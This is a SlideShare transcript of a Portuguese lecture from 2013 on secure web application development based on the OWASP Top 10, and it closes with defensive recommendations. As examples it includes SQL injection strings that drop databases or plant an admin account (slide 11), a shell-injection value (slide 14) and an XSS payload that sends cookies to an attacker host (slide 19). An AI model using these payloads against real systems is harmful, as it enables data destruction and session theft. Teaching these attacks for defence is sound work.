Your SlideShare is downloading. ×
  • Like
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Now you can save presentations on your phone or tablet

Available for both IPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

  • 106 views
Published

Palestra sobre desenvolvimento seguro de aplicações WEB, apresentada no Instituto Federal Catarinense - Campus Araquari em 29/09/2013

Palestra sobre desenvolvimento seguro de aplicações WEB, apresentada no Instituto Federal Catarinense - Campus Araquari em 29/09/2013

Published in Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
106
On SlideShare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
2
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. iTFLEX Tecnologia http://www.itflex.com.br Desenvolvimento Seguro de Aplicações WEB Principais vulnerabilidades e recomendações (Baseado no OWASP TOP10) Carlos Diego Russo Medeiros Diretor Executivo – iTFLEX Tecnologia cdiego@itflex.com.br / cdiego@gmail.com
  • 2. iTFLEX Tecnologia http://www.itflex.com.br Agenda Apresentação Pontos para reflexão OWASP TOP10 A1-Injeção A2-Quebra de autenticação / sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-A10 Visão Geral Recomendações Perguntas
  • 3. iTFLEX Tecnologia http://www.itflex.com.br Apresentação Fundador e Diretor Executivo da iTFLEX (2004) 15 anos de experiência em linux, segurança e redes http://br.linkedin.com/in/cadiego MBA em Gestão Empresarial pela FGV/Sociesc (2005) Bacharel em Informática pela Univille (2001) Técnico pela Escola Técnica Tupy (1997) Certficação ITILv3 Foundation (2012) Cisco Certified Network Associate (2002) Módulo Certified Security Officer (2002)
  • 4. iTFLEX Tecnologia http://www.itflex.com.br Reflexão A maioria dos desenvolvedores pensa que suas ferramentas são seguras A segurança não é apenas responsabilidade de equipe de infra-estrutura Crescimento do cloud computing x segurança nas aplicações WEB Você se preocupa com a segurança no desenvolvimento das suas aplicações? Não confie cegamente na sua linguagem ou framework
  • 5. iTFLEX Tecnologia http://www.itflex.com.br OWASP Open Web Application Security Project Projeto aberto dedicado a capacitar as organizações a desenvolver e manter aplicações seguras. Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza eventos, grupos locais de discussão (Chapter) 2011 - OWASP AppSEC Latin America 2012 – OWASP Floripa Day Chapters próximos (Florianópolis, Curitiba...)
  • 6. iTFLEX Tecnologia http://www.itflex.com.br OWASP OWASP TOP10 10 principais ameças em aplicações WEB Atualizado a cada 3 anos Consenso entre os profissionais Excelente para aprendizado http://goo.gl/ZKj23a
  • 7. iTFLEX Tecnologia http://www.itflex.com.br OWASP TOP10 2013 A1-Injeção A2-Quebra de autenticação / Sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-Falta de controle do nível de acesso A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site A9-Uso de componentes com vulnerabilidade conhecidas A10-Redirecionamentos e encaminhamentos não validados
  • 8. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Introdução ao A1-Injeção Envio (injeção) de dados (entradas) não validados adequadamente Strings interpretadas como comandos no backend Injeção de SQL é a mais comum
  • 9. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção
  • 10. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção
  • 11. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção E se no no lugar do ' or '1'='1 ? ● minhasenha'; DROP ALL DATABASES; -- ● minhasenha'; INSERT INTO admins VALUES ('meu_admin','minha_senha'); -- ● minhasenha'; UPDATE usuarios SET senha='123456' WHERE user='admin; -- E se a aplicação web estiver conectando no banco com as credenciais: ● root / sysdba ? ● Execução de comandos no sistema operacional ● Acesso a outros bancos dados
  • 12. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Entradas explícitas (Ex. forms, inputs) X Entradas implícitas (Hidden, Cookies, Parâmetros da URL, etc..)
  • 13. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Ferramenta SQLMAP – Automatic SQL injection and database takeover tool Realiza as injeções (Já com payloads de consultas) Descobre o sistema de banco de dados MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems. Realizar blind injection quando não é retorno (timing) Permite conexão direta ao banco de dados http://sqlmap.org/
  • 14. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção SQL não é único tipo de injeção Exemplo de Shell Injection (OS Commands) Comandos do sistema operacional chamados pela aplicação Digite o host para obter IP: _______________ $ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”; Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????
  • 15. iTFLEX Tecnologia http://www.itflex.com.br A2-Quebra de autenticação / Sessão HTTP por sua origem é stateless, criado com foco na web estática ou não era necessária autenticação ou sessão Para aplicações web modernas poderem relacionar as transações dos usuários é necessário o conceito de sessão. Depende do estratégia usada pelo desenvolvedor ● session_id, cookies, etc..
  • 16. iTFLEX Tecnologia http://www.itflex.com.br A2-Quebra de autenticação / Sessão
  • 17. iTFLEX Tecnologia http://www.itflex.com.br A2-Quebra de autenticação / Sessão Possibilidades de exploração ● session_id fixo ou session_id previsível (guestable) -> força bruta ● session_id com tempo de vida muito longo (Pode ser reutilizado) ● reutilização de session_id antigo (Não altera no logon) ● credenciais enviadas por canais inseguros - firesheep (wifi) Lógica de autenticação falha ● Manipulação de variáveis da requisição ● if ( $logado = '1'); then echo “Usuário logado”; fi; ● http://site.com.br/adm/list_users?logado=1;
  • 18. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) Introdução ao A3-Cross-Site Scripting (XSS) Falha no tratamento de entradas ou saídas da aplicação Permite enviar código malicioso ao browser do usuários Todo o browser é 'explorável' Vulnerabilidade é na aplicação, mas a vítima é o usuário
  • 19. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) <script>document.location='http://www.attacker.com/cgi-bin/get.cgi? foo='+document.cookie</script> Persistente
  • 20. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) Possibilidades de ataque Roubo de sessão Fazer um deface no site (alterar, substituir conteúdo) Inserir código malicioso (vírus) Redirecionar o usuário para sites maliciosos Enviar requisições involuntárias (A8-CSRF) Exemplo do banco (duas senha, token, cartão numérico)
  • 21. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) Refletido
  • 22. iTFLEX Tecnologia http://www.itflex.com.br A4-Referências inseguras diretas de objetos http://example.com/app/accountinfo=carlos Referências inseguras a arquivos http://example.com/view_file.php?arquivo=log.txt http://example.com/view_file.php?arquivo=config.php Usuário http://example.com/app/view.php?page=user Administrador http://example.com/app/view.php?page=admin (A7-Falta de controle do nível de acesso)
  • 23. iTFLEX Tecnologia http://www.itflex.com.br A5-Falhas de Configuração Exemplos de pontos de falha Sistema operacional desatualizado, com vulnerabilidades Servidor de aplicação mal configurado, configurações default, aplicações de exemplos Consoles de administração expostos, ou com senha padrão Configurações expostas (config.php.bkp) Mensagem de erros não tratadas Excesso de privilégio para aplicação
  • 24. iTFLEX Tecnologia http://www.itflex.com.br A6-Exposição de dados sensíveis HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário não protege aplicação, nem dados armazenados SSL obrigatório x opcional Criptografia no front-end x backend (simétrico x assimétrico) Uso de algorítimos de criptografia fracos Armazenamento desnecessário de dados sensíveis Auto-preenchimento dos forms com dados sensíveis
  • 25. iTFLEX Tecnologia http://www.itflex.com.br OWASP TOP10 2013 A1-Injeção A2-Quebra de autenticação / Sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-Falta de controle do nível de acesso A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site A9-Uso de componentes com vulnerabilidade conhecidas A10-Redirecionamentos e encaminhamentos não validados
  • 26. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Assuma que você também é responsável Estude o OWASP TOP10: http://goo.gl/ZKj23a Faça o tratamento das entradas e da saídas Sanitize Inputs -> Higienizar entradas Canonicalize Inputs -> Passar para codificação única Validação sempre por whitelist Minimize o privilégios da aplicação (Somente o necessário)
  • 27. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Assuma que você também é responsável Estude o OWASP TOP10: http://goo.gl/ZKj23a Faça o tratamento das entradas e da saídas Sanitize Inputs -> Higienizar entradas Canonicalize Inputs -> Passar para codificação única Validação sempre por whitelist Minimize o privilégios da aplicação (Somente o necessário)
  • 28. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Atenção, NÃO FUNCIONA: Validação de entradas por Java Script Confiar no método POST no lugar do GET HTTPs não garante a segurança da aplicação, garante apenas a confidencialidade do canal do usuário
  • 29. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Aplicações WEB dependem de uma base segura SO, Servidor de Aplicação, Bibliotecas Evite usar comandos do sistema operacional, procure utilizar as funções ou bibliotecas da linguagem mv, cp, ls, du, etc...
  • 30. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF Pesquise sobre os recursos de segurança da sua linguagem Exemplo: http://www.pythonsecurity.org/ Python x Owasp Top 10: http://goo.gl/xXlZcy ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ
  • 31. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Insira a segurança no ciclo de desenvolvimento do software
  • 32. iTFLEX Tecnologia http://www.itflex.com.br FIM, Perguntas? Obrigado pela atenção Carlos Diego Russo Medeiros cdiego@itflex.com.br / cdiego@gmail.com http://br.linkedin.com/in/cadiego (47) 3029-3388 Fonte: http://www.seginfo.com.br Tradução de: http://xkcd.com/327/